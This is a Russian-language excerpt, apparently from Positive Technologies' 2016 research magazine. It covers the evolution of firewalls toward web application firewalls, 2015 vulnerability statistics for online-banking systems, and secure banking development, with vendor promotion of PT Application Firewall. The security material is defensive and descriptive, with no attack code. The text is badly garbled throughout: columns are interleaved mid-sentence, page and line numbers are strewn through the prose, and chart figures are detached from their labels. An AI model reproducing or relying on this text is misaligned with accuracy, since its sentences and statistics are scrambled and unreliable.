38 | Высокий В рамках исследования была также проведена оценка результа- 40 4,0 тов работ, осуществленных методом белого ящика вручную либо 15,1 42 с использованием автоматизированного сканера. В среднем в ка- 44 ждой системе выявлено около 15 критически опасных уязвимостей | Средний 46 в случае использования анализатора кода (учитывались только 15,0 22,2 48 подтвержденные уязвимости), и всего 4 уязвимости — ручными 50 методами. | Низкий 3,0 Таким образом, анализ защищенности методом белого ящика суще- 0,1 ственно эффективнее других методов, при которых не анализирует- ся исходный код приложения. При этом автоматизированный анализ кода оказывается достаточно эффективным, особенно если учесть 0 5 10 15 20 25 объемы кода современных приложений, где используется множе- ство библиотек. Анализатор кода Ручное тестирование В целом полученные данные свидетельствуют о необходимости ре- 26 гулярно проводить работы по анализу защищенности веб-приложе- Среднее количество выявленных уязвимостей определенного уровня риска на одну систему ний. Важно осуществлять такой анализ на всех стадиях разработки, а также регулярно (например, дважды в год) в процессе эксплуатации систем. Кроме того, приложения, уже находящихся в эксплуатации, нуждаются в эффективной защите от атак: более половины таких важных данных, но и к полной компрометации системы, либо выводу ресурсов (63%) оказались подвержены критически опасным уязви- ее из строя. Для защиты от таких атак рекомендуется применять меж- мостям. Эти недостатки могут привести не только к разглашению сетевые экраны уровня приложений.

52 54 56 58 60 62 64 66 Positive Technologies назвали «визионером» в рейтинге 68 70 Gartner Magic Quadrant по безопасности веб-приложений 72 74 Одна из самых авторитетных международных аналитических компаний включила Positive Technologies в свой рейтинг ми- 76 ровых производителей защиты для веб-приложений 2015 Magic Quadrant for Web Application Firewalls. В список попали 14 78 компаний, но статуса «визионера» (visionary) получили только две. Аналитики Gartner рекомендуют обратить внимание на 80 Positive Technologies «за уникальные и передовые технологии безопасности». Убедиться в эффективности продуктов ком- 82 пании можно в ходе бесплатного тест-драйва: участники программы получают систему PT Application Firewall в виде аппа- 84 ратного или виртуального решения на согласованный срок проведения пилотного проекта. Установка защитного экрана 86 не требует внесения изменений в инфраструктуру участника программы, при этом весь процесс тестирования сопро- вождается экспертами Positive Technologies либо сертифицированными специалистами компаний-партнеров. Оставить 88 заявку на участие и получить полную версию отчета Gartner можно на сайте af.ptsecurity.ru. 90 92 94 96 98 100 102 03 Чем защищают сайты, 05 07 09 или Зачем нужен WAF? 11 13 15 17 Евгений Миньковский, 19 Алексей Андреев 21 habrahabr.ru/company/pt/blog/269165/ 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51

27

Экраны для защиты веб-приложений (WAF) — достаточно новая тех- некоторые до сих пор путаются с терминологией, не отличая WAF от нология. Можно заметить, что наиболее авторитетное сравнительное обычного межсетевого экрана (network firewall) и от систем предот- исследование по таким системам — Gartner Magic Quadrant for Web вращения вторжений (IPS). В этой статье мы расскажем о том, как идет Application Firewalls — публикуется лишь с 2014 года (а «квадран- эволюция периметровой защиты по мере роста изощренности атак, и ты» по SIEM, например, стали выходить еще в 2009 году). Кроме того, какую роль здесь играет WAF.

1. В начале времен: пакетные фильтры 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 Изначально термин firewall (брандмауэр, экран) обозначал сетевой на основе критериев низких уровней модели OSI: на сетевом и ка- 97 фильтр, который ставится между доверенной внутренней сетью и нальном уровнях. Иными словами, фильтр учитывал только IP-адреса 99 внешним интернетом (отсюда прилагательное «межсетевой»). Этот источника и назначения, флаг фрагментации, номера портов. 101 фильтр был призван блокировать подозрительные сетевые пакеты 103

// ВЕБ-безопасность positive research 2016

02 В дальнейшем возможности расширились до шлюзов сеансового уязвимости приложений, а не уязвимости сетевой архитектуры и 04 уровня, или фильтров контроля состояния канала (stateful firewall). сервисов. Хуже того: блокирование отдельных портов, адресов или 06 Эти межсетевые экраны второго поколения повысили качество и протоколов (основной способ работы межсетевых экранов) может 08 производительность фильтрации за счет контроля принадлежности «вырубить» вполне легитимные приложения. Это значит, что защит- 10 пакетов к активным TCP-сессиям. ная система должна проводить более глубокий анализ содержания 12 пакетов — то есть лучше «понимать» работу приложений. К сожалению, подобная система защиты практически бесполезна 14 против современных киберугроз, где более 80% атак используют 16 18 20 2. Копаем глубже: IDS/IPS 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50

Следующим поколением защитных экранов стали системы обна- с пакетным фильтром, даже если последний проверяет пакеты на 28 ружения и предотвращения вторжений (IDS/IPS). Они способны уровне приложений (iptables с модулем layer7). изучать в TCP-пакетах поле данных и осуществлять инспекцию Однако при этом сохранился основной недостаток пакетного филь- на уровне приложения по определенным сигнатурам. Системы тра: проверка осуществляется попакетно, без учета сессий, cookies IDS приспособлены к тому, чтобы выявлять атаки не только сна- и всей остальной логики работы приложения. ружи, но и внутри сети — за счет прослушивания SPAN-порта коммутатора. Параллельно для борьбы с распространением вирусов появляются прокси-серверы, а для решения задач балансировки нагрузки — об- Для совершенствования защитных механизмов в IDS/IPS стали при- ратные прокси-серверы. Они отличаются технически, но главное, что меняться декодеры (разбор полей TCP-пакета) и препроцессоры и те и другие полноценно работают на уровне приложения: открыва- (разбор частей протокола уровня приложения, например HTTP). ется два TCP-соединения от прокси к клиенту и от прокси к серверу, 52 Применение препроцессоров в IPS Snort позволило существенно анализ трафика ведется исключительно на уровне приложения. 54 расширить функциональность периметровой защиты в сравнении 56 58 60 3. Все в кучу: NGFW/UTM 62 64 66 68 70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 03 Следующим шагом эволюции систем обнаружения вторжений стало Специфика веб-приложений предполагает, что за один сеанс рабо- 05 появление устройств класса UTM (unified threat management, систе- ты пользователя с веб-сервером может осуществляться большое ма единого управления угрозами) и NGFW (next generation firewall, количество различных TCP-соединений, которые открываются с 07 экраны нового поколения). различных адресов, но имеют один (возможно динамический) иден- 09 тификатор сессии. Это приводит к тому, что для аккуратной защиты 11 Системы UTM отличаются от NGFW лишь маркетингом, их функции веб-трафика необходима платформа на основе полнофункциональ- 13 практически совпадают. Оба класса программных продуктов явились ного реверс-прокси-сервера. 15 попыткой объединить функции различных продуктов (антивирус, 17 IDS/IPS, пакетный фильтр, VPN-шлюз, маршрутизатор, балансировщик Но разница в технологической платформе — не единственное, что и др.) в одном устройстве. В то же время обнаружение атак в устрой- отличает защиту веб-приложений. 19 ствах UTM/NGFW нередко осуществляется на старой технологиче- 21 ской базе, при помощи упомянутых выше препроцессоров. 23 25 27 4. Защита Веба: что должен уметь WAF 29 31 33 35 37 39 41 43 45 47 49 51

29

Если говорить совсем просто, то веб-приложения отличаются от Теперь подробнее об этих функциях. обычных приложений двумя вещами: огромным разнообразием и значительной интерактивностью. Это создает целый ряд угроз, с Multiprotocol security которыми традиционные межсетевые экраны не справляются: по на- шим оценкам, в 2014 году 60% атак на корпоративные сети осущест- Будучи узкоспециализированным средством, WAF не защищает

влялись через веб-приложения, невзирая на наличие традиционных от проблем протоколов, отличных от HTTP/HTTPS. Но у любой 53 защитных средств. медали две стороны. Многообразие способов обмена данными 55 поверх протокола HTTP настолько велико, что ориентировать- Именно здесь вступает в дело web application firewall (WAF), защит- 57 ся в нем может только специализированное средство. Лишь для ный экран для приложений, осуществляющих передачу данных примера: где-то переменные и значения передаются в формате 59 через HTTP и HTTPS. Вот какие функции отличают WAF от защитных example.com/animals?dogs=32&cats=23, где-то в формате example. 61 систем предыдущих поколений: com/animals/dogs/32/cats/23, где-то передача параметров прило- 63 жения осуществляется в cookie, а где-то — в параметрах заголов- 65 ка HTTP. 67 WAF IPS NGFW/UTM 69 Кроме того, продвинутые модели WAF могут анализировать XML, JSON и другие протоколы современных порталов и мобильных при- 71 Multiprotocol security – + + ложений. В частности, это позволяет противодействовать большин- 73 ству методов обхода защитного экрана (HPC, HPP, Verb Tampering 75 IP Reputation ± ± ± и др.). 77 79 Сигнатуры атак + ± ± IP Reputation 81 83 Автоматическое обучение, Технология IP Reputation опирается на внешние черные и белые поведенческий анализ + – – списки ресурсов и одинаково доступна любым периметровым 85 средствам защиты. Но ценность этого метода несколько преуве- 87 Защита пользователей + – – личена. Так, в практике наших специалистов случались ситуации, 89 когда крупные новостные агентства из-за своих уязвимостей меся- 91 Сканер уязвимостей + – – цами раздавали malware пользователям, и при этом не попадали 93 в черные списки. К сожалению, векторы проникновения вредонос- 95 Виртуальный патчинг + – – ного ПО очень разнообразны, и в наши дни источником заражения 97 для пользователей могут быть даже сайты органов государствен- 99 ной власти. А возможна и обратная проблема, когда по IP блокиру- Корреляции, цепочки атак + – – 101 ются «невиновные» ресурсы. 103

// ВЕБ-безопасность positive research 2016

02 Сигнатуры атак Виртуальный патчинг 04 06 Сигнатурный подход к обнаружению атак применяется повсюду, но Даже известные уязвимости невозможно устранить сразу: исправле- 08 только грамотный препроцессинг трафика, доступный для WAF, мо- ние кода требует средств и времени, а зачастую и остановки важных 10 жет обеспечить адекватное применение сигнатур. Недостатки пре- бизнес-процессов; иногда в случае использования стороннего ПО процессинга приводят к излишней «монструозности» сигнатур атак: исправление невозможно вообще. Для парирования таких «частных» 12 администраторы не могут разобраться в сложнейших регулярных угроз в системах IDS/IPS, а по наследству в UTM/NGFW, применяются 14 выражениях, весь смысл которых в том, что их авторы, например, пользовательские сигнатуры. Но проблема в том, что написание та- 16 всего лишь пытались учитывать возможность передачи параметра кой сигнатуры требует глубокого понимания механизма атаки. В про- 18 как открытым текстом, так и в форме шестнадцатеричного кода с тивном случае такая сигнатура может не только «пропустить» угрозу, 20 процентом. но и породить большое число ложных срабатываний. 22 В наиболее современных WAF используется автоматизированный 24 Автоматическое обучение и поведенческий анализ подход к виртуальному патчингу. Для этого используется анализатор 26 Для атак на веб-приложения злоумышленники активно используют исходных кодов приложения (SAST, IAST), который не просто показы- 28 уязвимости нулевого дня, что делает бесполезными сигнатурные ме- вает в отчете строки уязвимого кода, но тут же генерирует эксплойт, 30 тоды анализа. Вместо этого нужно анализировать сетевой трафик и то есть вызов с конкретными значениями для эксплуатации обна- 32 системные журналы для создания модели нормального функциони- руженной уязвимости. Эти эксплойты передаются в WAF для авто- 34 рования приложения, и на основе этой модели выявлять аномальное матического создания виртуальных патчей, которые обеспечивают 36 поведение системы. WAF в силу своей архитектуры может разобрать немедленное закрытие бреши еще до исправления кода. 38 весь сеанс связи пользователя, и потому способен на более глубокий 40 поведенческий анализ, чем NGFW. В частности, это позволяет выяв- Корреляции и цепочки атак лять атаки с использованием автоматических средств (сканирование, 42 Традиционный межсетевой экран дает тысячи срабатываний на по- подбор паролей, DDoS, фрод, вовлечение в ботнеты). 44 дозрительные события, в которых необходимо разбираться вруч- 46 Однако в большинстве случаев обучение поведенческой моде- ную, чтобы выявить реальную угрозу. Как отмечает Gartner, вендоры 48 ли состоит в том, что операторы откуда-то берут «белый трафик» и систем IPS вообще предпочитают отключить большинство сигнатур 50 «скармливают» его средству защиты. Но после сдачи в эксплуатацию веб-приложений, чтобы снизить риск возникновения таких проблем. поведение пользователей может меняться: программисты допи- Современный WAF может группировать сходные срабатывания и сывают интерфейс по скорректированному техническому заданию, выявлять цепочку развития атаки — от разведки до кражи важных дизайнеры «добавляют красоты», рекламные кампании меняют на- данных или установки закладок. В результате вместо списка из тысяч правление внимания. Нельзя раз и навсегда составить схему пове- подозрительных событий ИБ-специалисты получают несколько де- дения «правильного» посетителя. При этом обучаться на реальном, сятков действительно важных сообщений. «сером» трафике могут только единицы программных продуктов — и это только WAF. Что дальше? 30 Защита пользователей Периметровое оборудование, обсуждаемое в настоящей статье, Понятно, что решения разных вендоров WAF всегда будут отличать- предназначено для защиты серверов с веб-приложениями. Однако ся набором функций. Поэтому перечислим здесь лишь наиболее существует классы атак (например, CSRF), направленных на клиента известные дополнительные фичи современных защитных экранов веб-приложения. Поскольку трафик таких атак не проходит через уровня приложений: защитный периметр, защитить пользователя оказывается, на первый + работа с SSL-трафиком как дополнительный уровень защиты (по взгляд, невозможно. мнению аналитиков Gartner, возможность проверки зашифро- Рассмотрим следующий сценарий атаки: пользователь заходит на ванного трафика является одним из важнейших отличий WAF от 52 сайт банка, проходит там аутентификацию и после этого в другой обычных межсетевых экранов и IPS); 54 вкладке браузера открывает зараженный ресурс. JavaScript, загру- + службы проверки подлинности: WAF является единой точкой 56 зившийся в другом окне, может сделать запрос на перевод денег входа для веб-приложений или действует в качестве брокера втайне от пользователя, а браузер при этом подставит все необхо- 58 проверки подлинности для устаревших приложений, механизм димые аутентификационные параметры для осуществления финан- 60 аутентификации которых нарушен; 62 совой транзакции, так как сеанс связи пользователя с банком еще не окончился. В описанной ситуации налицо слабости в алгоритме + поддержка политики безопасности контента (content security 64 аутентификации в банковском ПО. Если бы для каждой формы, содер- policy, CSP) для защиты от XSS и других атак. 66 жащейся на странице сайта, генерировался уникальный токен, про- 68 Кроме того, эксперты Positive Technologies прогнозируют следующие блемы бы не было. 70 перспективные направления развития межсетевых экранов уровня 72 К сожалению, разработчики ПО практически никогда так не делают. приложений в ближайшем будущем: Однако некоторые WAF могут самостоятельно внедрять подобную 74 + новые алгоритмы поведенческого анализа, которые позволят защиту в веб-формы и защищать таким образом клиента — а вернее, 76 лучше различать пользователей для выявления ботов и злоу- его запросы, данные, URL и cookie-файлы. 78 мышленников (UBA); 80 Взаимодействие со сканерами уязвимостей + защита приложений, построенных на базе HTML5, на базе 82 XML-протоколов, с использованием нереляционных БД (NoSQL); 84 На периметровое оборудование возлагается не только защита 86 веб-приложений, но и мониторинг атак. При этом грамотный мони- + WAF, ориентированные на конкретные типы приложений — бан- торинг основан на понимании слабостей защищаемого ПО, которое ковские (ДБО), ERP, приложения телекомов, масс-медиа и др. 88 позволяет отсеять неактуальные попытки атак и выделить только те, 90 Эта статья посвящена только технологическим особенностям WAF, которые касаются реальных уязвимостей, имеющихся в системе. 92 но на практике стоит учитывать и организационные — например, 94 Лучшие образцы WAF имеют в своем распоряжении интегрирован- соответствие стандартам безопасности или возможность интегра- 96 ные сканеры уязвимостей, работающие в режиме черного ящика или ции WAF с другими средствами безопасности (антивирусы, DLP и 98 динамического анализа (DAST). Такой сканер может использоваться в др.). Модели развертывания также могут быть различными: это может режиме реального времени для быстрой проверки тех уязвимостей, быть аппаратное, программное или виртуальное решение либо об- 100 которые «прощупывают» злоумышленники. лачный сервис в моделях SaaS, VAS и MSS. 102 03 Статистика уязвимостей 05 07 09 приложений финансовой отрасли 11 13 15 в 2015 году 17 19 21 Так как системы ДБО представляют собой общедоступные веб- и 23 Анна Гнеденко, мобильные приложения, для них характерны все уязвимости, извест- 25 Евгений Гнедин ные в сфере безопасности приложений, а также угрозы, связанные со 27 спецификой банковской сферы: хищение денежных средств, несанк- 29 ционированный доступ к данным платежных карт, персональным 31 данным и банковской тайне, отказ в обслуживании и другие угрозы, 33 реализация которых может привести к существенным финансовым и 35 репутационным потерям. 37 Данный отчет содержит статистику, собранную в ходе работ по 39 анализу защищенности систем ДБО, проведенных специалистами 41 компании Positive Technologies в 2015 году. Сравнение с результата- 43 ми аналогичных исследований 2014 и 2013 годов дает возможность 45 оценить динамику развития современных систем ДБО с точки зрения 47 информационной безопасности. 49 51

Исходные данные | 2015 90% 10% В рамках исследования было рассмотрено 20 систем ДБО, включая несколько финансовых сервисов, разработанных на языке 1C, для | 20132014 78% 18% 4% которых характерны те же угрозы ИБ, что и для систем дистанцион- 31 ного банковского обслуживания. В обзор вошли только те системы ДБО, для которых проводился наиболее полный анализ с учетом логики их функционирования. Большинство исследованных систем 0% 20% 40% 60% 80% 100% (75%) предназначены для обслуживания физических лиц. 35% си- стем — мобильные решения, представленные серверной и клиент- Высокий Средний Низкий ской частью.

65% систем являются собственными разработками банков. В боль- Распределение систем по максимальной степени риска шинстве случаев использовался язык программирования Java и обнаруженных уязвимостей лишь 8% приложений написаны на 1С. Остальные системы развер- 53 нуты на базе платформ известных вендоров. В соответствии с поли- 55 тикой ответственного разглашения, в настоящем отчете названия 57 несколькими активными сессиями для одного пользователя, отсут- компаний-производителей не указываются. ствие привязки сессии к IP-адресу клиента). 59 Большинство систем (75%) находились в промышленной эксплуата- 61 В рамках исследования были выделены наиболее опасные угрозы, ции и были доступны для клиентов, остальные представляли собой 63 которые потенциально могли быть реализованы в отношении си- тестовые стенды, готовые к переводу в промышленную эксплуата- 65 стем ДБО, с учетом совокупности уязвимостей, выявленных в ходе цию. 57% систем ДБО, предоставляемых известными вендорами, на- 67 анализа. ходилась в промышленной эксплуатации. 69 Так, в одной из исследованных систем ДБО выявлена возможность 71 хищения денежных средств пользователя в результате эксплуатации 73 Общие результаты: лидируют комбинации уязвимостей различных категорий (недостаточной за- 75 щиты сессии и недостатков реализации механизмов двухфакторной 77 недостатки авторизации аутентификации) внешним нарушителем. 79 В сравнении с результатами 2013 и 2014 годов доля критически опас- В отношении 25% исследованных систем ДБО могут быть реализова- 81 ных уязвимостей заметно снизилась (на 14%). Однако уровень защи- ны такие угрозы, как кража денежных средств со стороны авторизо- 83 щенности систем ДБО в целом остается на довольно низком уровне: ванного пользователя. Нарушитель может использовать, в частности, 85 критически опасные уязвимости встречаются практически в каждом атаки на округление, несанкционированный доступ к операциям 87 интернет-банкинге (90%), что значительно хуже уровня 2013–2014 другого пользователя, а в некоторых случаях «Внедрение опера- 89 годов. торов SQL». В результате подобных действий банки могут понести 91 существенные финансовые потери, а также утратить репутацию на- Наиболее часто (55%) в системах ДБО встречались уязвимости, по- 93 дежного партнера. зволяющие получить несанкционированный доступ к данным поль- 95 зователей. К этой категории в основном относятся недостатки авто- В каждом втором проекте (55%) была выявлена возможность осу- 97 ризации. На втором месте (50%) — «Недостаточная защита сессии» ществления несанкционированного доступа к СУБД, в которых хра- 99 (некорректное завершение сессий пользователей, некорректная нятся персональные данные пользователей, данные платежных карт, 101 настройка cookie-параметров, возможность параллельной работы с финансовая информация. 103

// ВЕБ-безопасность positive research 2016

02 | Недостаточная авторизация при доступе к данным пользователей 25% 5% 10% 04 55% 36% 06 08 | Недостаточная защита сессий 10 50% 54% 12 14 | Идентификация приложений 16 40% 57% 18 20 | Внедрение внешних сущностей XML 22 35% 46% 24 26 | Межсайтовое выполнение сценариев 28 30% 54% 30 32 | Некорректная реализация механизма OTP 34 25% 14% 36 38 | Атаки на округление 30% 15% 15% 40 25% 11% 42 Кража денежных средств со стороны внешнего 44 | Небезопасная передача данных злоумышленника 46 25% 46% 48 Кража денежных средств со стороны авторизованного пользователя, доступ к ОС или СУБД 50 | Недостаточная защита от подбора учетных данных пользователей 25% Кража денежных средств со стороны авторизованного 14% пользователя, несанкционированный доступ к банковской тайне | Разглашение важных данных 25% Доступ к СУБД или файловой системе, 14% несанкционированный доступ к банковской тайне

Доступ к файловой системе или СУБД 0% 20% 40% 60% 80% 100% Несанкционированный доступ к сведениям, 32 составляющим банковскую тайну на уровне 20132014 годы 2015 год (высокий, средний и низкий риск) отдельных клиентов

Рейтинг самых распространенных уязвимостей систем ДБО Реализуемые угрозы информационной безопасности систем ДБО

Системы для юрлиц стали уязвимее ДБО вендора не гарантирует защиту 52 54 Все исследованные системы ДБО для юридических лиц оказались В системах, приобретенных банками у известных вендоров, доля 56 подвержены опасным уязвимостям, а среди систем для физлиц та- уязвимостей, связанных с ошибками в программном коде, оказалась 58 ких оказалось 87%. При этом в системах ДБО для юридических лиц выше, чем в системах собственной разработки банков (40% против 60 в 2015 году количество уязвимостей средней степени риска на одну 28%). В то же время в системах собственной разработки был выяв- 62 систему возросло в несколько раз. Уровень защищенности систем лен больший процент уязвимостей конфигурации (35% против 27%). ДБО для юридических лиц существенно снизился, а для физических В прошлые годы таких уязвимостей у ДБО вендоров было вдвое 64 лиц — остался на том же низком уровне. меньше (14%). 66 68 70 72 | Физические лица 74 2,0 76 2,3 27,1% 35,3% 37,6% 78 2,3 80 | Системы, приобретенные у вендоров | Юридические лица 82 4,2 32,6% 26,7% 40,7% 84 3,8 86 6,6 | Системы собственной разработки 88

90 0 2 4 6 8 10 0% 20% 40% 60% 80% 100% 92

94 Низкий Средний Высокий Высокий Средний Низкий 96 98 Среднее количество уязвимостей различного уровня риска Распределение уязвимостей по степени риска для систем, предоставленных 100 на одну систему для физических и юридических лиц разными категориями разработчиков (доля от общего количества уязвимостей) 102 | Отсутствие либо недостатки обязательной двухфакторной аутентификации 03 По сравнению с предыдущими годами, количество уязвимостей вы- 33% 05 сокой степени риска в системах ДБО, предоставленных вендорами, 45% 07 снизилось практически вдвое. Однако все такие продукты подвер- | Недостаточная защита от подбора учетных данных жены критически опасным уязвимостям. 17% 09 18% 11 13 16,2% 35,1% 48,6% | Недостаточная аутентификация н/д 15 | Тестовые площадки 18% 17 19 40,2% 27,8% 32,0% | Недостаточная строгость парольной политики 17% 21 | Продуктивные системы 9% 23 25 27 0% 20% 40% 60% 80% 100% 0% 20% 40% 60% 80% 100% 29 31 Высокий Средний Низкий Системы, приобретенные у вендоров Системы собственной разработки 33 35 Соотношение уязвимостей различного уровня риска в тестовых и продуктивных Доля систем, подверженных уязвимостям механизмов аутентификации 37 системах (доля от общего количества уязвимостей) (для различных категорий разработчиков) 39

| iOS 41 Кроме того, системы ДБО, поставляемые специализированными ком- 33% 43 33% паниями, в среднем содержат в 1,5–2 раза больше уязвимостей, чем 45 67% системы собственной разработки. Это неудивительно, поскольку 47 собственные системы ДБО проектируются под конкретную архитек- | Android 49 туру и обладают заданным банком функционалом, что делает их бо- 75% 51 лее простыми и, как следствие, менее уязвимыми. Однако переход от 75% систем известных вендоров к собственной разработке также не дает 50% гарантий, что создаваемая система окажется полностью защищенной.

0% 20% 40% 60% 80% 100% Системы в эксплуатации — уязвимы Низкий Средний Высокий Количество уязвимостей различных категорий в продуктивных си- стемах в 2015 году заметно ниже, чем в тестовых. Это свидетельствует Доли клиентского ПО мобильных систем ДБО, 33 о положительных результатах работы банков по обеспечению защи- подверженных уязвимостям различной степени риска ты приложений, находящихся в эксплуатации. Однако уровень защи- щенности продуктивных систем ДБО нельзя считать высоким: прак- тически во всех таких системах были выявлены критически опасные Каждое приложение на базе Android содержит 3,8 уязвимости, что уязвимости. 40% всех уязвимостей систем ДБО, уже находящихся в примерно соответствует уровню 2013 и 2014 годов (3,7). Для iOS-при- эксплуатации, — критически опасные. По этому показателю они ложений данный параметр равен 1,6, что значительно лучше резуль- даже хуже тестовых. тата предыдущих лет, когда на каждое приложений приходилось 2,3 уязвимости. Проблемы механизмов защиты Несмотря на то, что наиболее распространенные уязвимости мо- 53 бильных систем ДБО характеризуются средней степенью риска, в 55 ряде случаев выявленные недостатки в совокупности позволяли 57 Предсказуемый формат идентификаторов характерен для всех си- стем ДБО, при этом возможность сменить такой идентификатор пре- 59 доставлена пользователям лишь 60% систем. 61 | Небезопасное хранение данных в мобильном приложении 63 Двухфакторная аутентификация при входе в личный кабинет и про- 43% 65 ведении транзакций позволяют существенно снизить риски хищения 41% 67 денежных средств со счетов пользователей, однако по-прежнему ве- | Небезопасная передача данных 69 лика доля систем ДБО, где такие механизмы не предусмотрены вовсе 29% 71 (24%), либо реализованы некорректно (29%). Уязвима почти каждая 73% вторая система собственной разработки (45%), и даже в системах ДБО, 73 предоставленных вендорами, встречаются такие недостатки (33%). | Недостаточная защита сессий 75 29% 77 Кроме того, каждая третья система ДБО (35%) не обеспечивает доста- 55% 79 точную защиту сессии от перехвата и последующего использования | Разглашение важных данных 81 злоумышленником. 14% 83 9% 85 Мобильные системы ДБО для iOS | Доступность интерфейса отладки 87 14% 89 5% немного лучше 91 93 Мобильные системы ДБО под управлением iOS по-прежнему облада- 0% 20% 40% 60% 80% 100% ют более высоким уровнем защищенности по сравнению с системами 95 под Android, где 75% систем подвержены критически опасным уязви- 97 мостям. Однако треть уязвимостей, обнаруженных в приложениях 20132014 годы 2015 год 99 для iOS, характеризуются высокой степенью риска. Эти недостатки 101 связаны с хранением и передачей важных данных в открытом виде. Наиболее распространенные уязвимости клиентского ПО мобильных систем 103

// ВЕБ-безопасность positive research 2016

02 реализовать серьезные угрозы безопасности. Например, некор- банка. Причем такой анализ необходимо осуществлять на регуляр- 04 ректная реализация механизма входа по короткому PIN-коду вместе ной основе (например, дважды в год) с контролем устранения выяв- 06 с хранением в файловой системе устройства идентификатора сессии ленных недостатков. 08 позволяют злоумышленнику, обладающему физическим доступом к Системам ДБО, приобретенным у вендоров, стоит уделить особое 10 данному устройству, подменить ответ веб-сервера таким образом, внимание: они зачастую более подвержены уязвимостям, чем си- 12 что на любую попытку неверного ввода PIN-кода сервер будет воз- стемы, собственной разработки банков. Кроме того, рекомендуется 14 вращать значение true. В результате успешной атаки злоумышленник использовать средства превентивной защиты, такие как межсетевой 16 может получить полный контроль над личным кабинетом атакуемого экран уровня приложения. Для продуктивных систем, приобретае- пользователя, в том числе изменять настройки и совершать тран- 18 мых у вендоров, межсетевой экран уровня приложения рекоменду- закции от его имени. Также в одном из проектов нарушитель мог 20 ется использовать, чтобы избежать эксплуатации известных уязвимо- получить доступ к мобильному банкингу пользователя вследствие 22 стей до выпуска очередного обновления. недостаточно защищенной передачи данных. В данном случае си- 24 стема позволяла использовать самоподписанные сертификаты при Для получения доступа к личному кабинету пользователя нарушите- 26 передаче информации по протоколу HTTPS. лю достаточно использовать давно известные и распространенные 28 уязвимости (например, недостаточную защиту сессии). Необходимо 30 уделять особое внимание корректной реализации механизмов за- 32 Заключение щиты. Также следует внедрять процессы безопасной разработки, 34 обеспечивать всестороннее тестирование безопасности систем при 36 Уровень защищенности систем ДБО остается низким, несмотря на приемке работ. В качестве основы для внедрения процессов обеспе- 38 сокращение общей доли критически опасных уязвимостей среди чения информационной безопасности систем ДБО на всех стадиях 40 всех выявленных недостатков по сравнению с прошлыми годами. жизненного цикла могут быть использованы выпущенные в 2014 году рекомендации Банка России — РС БР ИББС-2.6-2014. 42 Низкая защищенность систем ДБО, находящихся в эксплуатации, 44 наглядно свидетельствует о необходимости внедрения процессов Учитывая высокую долю критически опасных уязвимостей на уровне 46 обеспечения безопасности на всех стадиях жизненного цикла при- кода веб-приложений, необходимо проводить регулярные провер- 48 ложений. Анализ защищенности систем необходимо проводить не ки его качества, например путем проведения анализа защищенности 50 только на этапах разработки приложения и перед вводом системы в методом белого ящика (в том числе с помощью автоматизированных эксплуатацию, но и во время ее активного использования клиентами средств).

34

52 54 56 РосЕвроБанк выбрал PT Application Firewall для защиты 58 своего сайта 60 62 «РосЕвроБанк» входит в число 50 крупнейших банков России по величине активов и собственного капитала. В условиях 64 растущих угроз, связанных с кибератаками на веб-приложения, банку потребовался современный инструмент для защи- 66 ты сайта. После тщательного изучения решений различных производителей, в том числе лидеров зарубежного рынка, 68 управление безопасности остановилось на продукте Positive Technologies. На этапе тестирования защитный экран PT 70 Application Firewall уверенно противодействовал всем распространенным атакам по классификациям OWASP и WASC, 72 включая SQLi, XSS, XXE и CSRF. На втором этапе в сети РосЕвроБанка был построен двухузловой отказоустойчивый кластер 74 PT Application Firewall с возможностью дальнейшего горизонтального масштабирования. 76 78 80 82 84 86 88 90 92 94 96 98 100 102 03 Разработка защищенных 05 07 09 банковских приложений: 11 13 15 главные проблемы и как их избежать 17 19 21 В 2014 году злоумышленники совершили на 30% больше атак на рос- 23 Владимир Кочетков сийские банки, чем годом ранее. Пытались вывести около 6 млрд 25 habrahabr.ru/company/pt/blog/271287/ рублей. Часто атака становится возможной из-за недостаточной за- 27 щищенности финансовых приложений. 29 По нашей статистике, более половины систем дистанционного бан- 31 ковского обслуживания (54%) содержали XSS-уязвимости, которые 33 позволяют осуществить MitM-атаку и перехватить доступ к интер- 35 нет-банкингу. С мобильными банковскими приложениями ситуация 37 выглядит не лучше: 70% «кошельков» для Android и 50% для iOS в 39 2014 году содержали уязвимости, достаточные для получения до- 41 ступа к счету. 43 Выявлять уязвимости на ранней стадии гораздо дешевле, чем потом 45 расхлебывать последствия их эксплуатации. В октябре 2015 года 47 эксперты Positive Technologies Тимур Юнусов и Владимир Кочетков 49 провели двухдневный мастер-класс по безопасной разработке бан- 51 ковских приложений. Представляем краткий пересказ. Разговор о проблемах безопасности и их возможных решениях следует начать с типичных проблем защищенности банковских приложений.

35

банковским приложением. Другими словами, осуществить MitM- Проблемы управления доступом атаку на SSL-трафик можно всегда. Более того, иногда уязвимости удается эксплуатировать даже «поверх» криптографии — например, Такие проблемы возникают главным образом при реализации таких из форм на сайте. механизмов управления доступом, как идентификация, аутентифи- кация (в том числе двухфакторная) и авторизация. Аудиты безопас- ности постоянно выявляют ошибки: недостаточное разграничение Проблемы управления потоками доступа, возможность получения доступа к различным backend- и 53 администраторским системам. Самые распространенные из таких операций 55 уязвимостей встречаются практически в каждом банке и банковском 57 приложении. Среди наиболее популярных и опасных ошибок управления потока- ми операций — и возможных атак на их основе — можно выделить: 59 Часто корень проблем кроется в неверном использовании крипто- 61 протоколов и реализаций криптопримитивов (средств криптографии, + недостаточные проверки процесса; 63 встроенных в стандартные библиотеки .NET, Java и т. п.). Здесь также + race condition и прочие атаки на атомарность; 65 важно отметить, что использование низкоуровневых криптоприми- + другие уязвимости бизнес-логики; 67 тивов в принципе нежелательно, поскольку очень легко допустить + атаки CSRF. 69 ошибку в их конфигурации и тем самым свести на нет все усилия по Данный тип проблем является вторым по частоте обнаружения в внедрению криптографии в отдельно взятом приложении. 71 банковских приложениях. Для того чтобы свести вероятность их 73 Одним из самых ярких последствий таких ошибок является уязви- появления к минимуму и обеспечить защиту бизнес-логики, не- 75 мость для атак Padding Oracle, возникающая при использовании обходимо четко формализовать каждый бизнес-процесс. Вообще, 77 слабых режимов работы блочных шифров. Вместо использования бизнес-логика — это баззворд-синоним понятия «логика функци- 79 низкоуровневых средств всегда нужно стремиться к использованию ональной предметной области». Предметная область же — набор 81 высокоуровневых библиотек типа KeyCzar, libsodium. сущностей, их инвариантов и правил взаимодействия друг с другом. 83 Еще один пласт проблем связан с подходом security through Чтобы избежать возникновения уязвимостей в некоей абстракт- 85 obscurity. Каждый банк использует криптографию (SSL, TLS и 